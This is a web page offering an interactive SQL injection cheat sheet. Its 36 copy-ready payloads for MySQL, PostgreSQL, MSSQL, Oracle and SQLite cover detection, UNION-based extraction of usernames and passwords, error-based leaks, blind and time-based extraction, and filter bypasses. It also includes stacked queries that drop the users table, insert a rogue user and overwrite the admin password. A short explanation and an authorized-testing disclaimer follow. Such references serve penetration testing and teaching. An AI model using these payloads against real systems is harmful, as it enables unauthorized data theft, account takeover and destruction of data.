SQL Injection Cheat Sheet
Interactive SQLi payload reference organized by database (MySQL, PostgreSQL, MSSQL, Oracle, SQLite) and attack type (detection, UNION, error-based, blind, time-based).
36 payloads
Basic boolean-based detection
' OR '1'='1
Boolean with comment
' OR '1'='1' --
Double-quote boolean detection
" OR "1"="1
AND-based true condition
1' AND 1=1 --
AND-based false condition
1' AND 1=2 --
Column count enumeration
1' ORDER BY 1 --
Time-based detection (MySQL)
1 AND SLEEP(5) --
Time-based detection (MSSQL)
1; WAITFOR DELAY '0:0:5' --
UNION with single column
' UNION SELECT NULL --
UNION with three columns
' UNION SELECT NULL,NULL,NULL --
Extract credentials
' UNION SELECT username,password FROM users --
List tables (MySQL)
' UNION SELECT table_name,NULL FROM information_schema.tables --
List columns (MySQL)
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users' --
List tables (SQLite)
' UNION SELECT name,NULL FROM sqlite_master WHERE type='table' --
List tables (Oracle)
' UNION SELECT table_name,NULL FROM all_tables --
ExtractValue error-based (MySQL)
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e)) --
UpdateXML error-based (MySQL)
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user()),0x7e),1) --
CONVERT error-based (MSSQL)
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables)) --
UTL_INADDR error-based (Oracle)
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)) --
Floor error-based (MySQL)
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --
Boolean blind character extraction
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a' --
Binary search blind (MySQL)
' AND ASCII(SUBSTRING((SELECT database()),1,1))>64 --
Check table existence
' AND (SELECT COUNT(*) FROM users)>0 --
Database name length check
' AND LENGTH(database())>5 --
Time-based blind IF (MySQL)
' AND IF(1=1,SLEEP(5),0) --
Time-based blind CASE (PostgreSQL)
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END) --
Time-based blind IF (MSSQL)
'; IF (1=1) WAITFOR DELAY '0:0:5' --
Benchmark time-based (MySQL)
' AND BENCHMARK(5000000,MD5('a')) --Stacked query: drop table
'; DROP TABLE users --
Stacked query: insert user
'; INSERT INTO users VALUES ('hacker','password') --Stacked query: update password
'; UPDATE users SET password='hacked' WHERE username='admin' --
Comment as space bypass
1'/**/OR/**/1=1--
Newline as space bypass
1'%0aOR%0a1=1--
Mixed case bypass
1' oR 1=1 --
Oracle concatenation bypass
1'||'1'='1
No-comment bypass
1' AND 1=1 AND '1'='1
How to Use the SQL Injection Cheat Sheet
- Search for specific payloads using the search bar.
- Filter by target database: MySQL, PostgreSQL, MSSQL, Oracle, or SQLite.
- Filter by attack category: detection, UNION, error-based, blind, time-based, stacked, or bypass.
- Click the copy button to copy a payload to your clipboard.
- Read the description for each payload to understand its purpose.
About SQL Injection Cheat Sheet
SQL Injection (SQLi) is a critical web vulnerability that allows attackers to interfere with database queries. This cheat sheet provides a reference of common SQLi payloads organized by database type and attack technique. Detection payloads help identify vulnerable parameters. UNION-based payloads extract data by appending additional queries. Error-based payloads trigger database errors that leak information. Blind and time-based payloads extract data one bit at a time when no direct output is visible. This tool is for authorized security testing and education only.
Frequently Asked Questions
Database fingerprinting techniques include: checking error messages for database-specific syntax, trying database-specific functions (e.g., version(), @@version), and observing comment syntax differences. The detection category includes payloads that can help identify the database.
These payloads should only be used in authorized penetration testing engagements or controlled lab environments. Using SQLi payloads against systems without explicit permission is illegal. Always obtain written authorization before testing.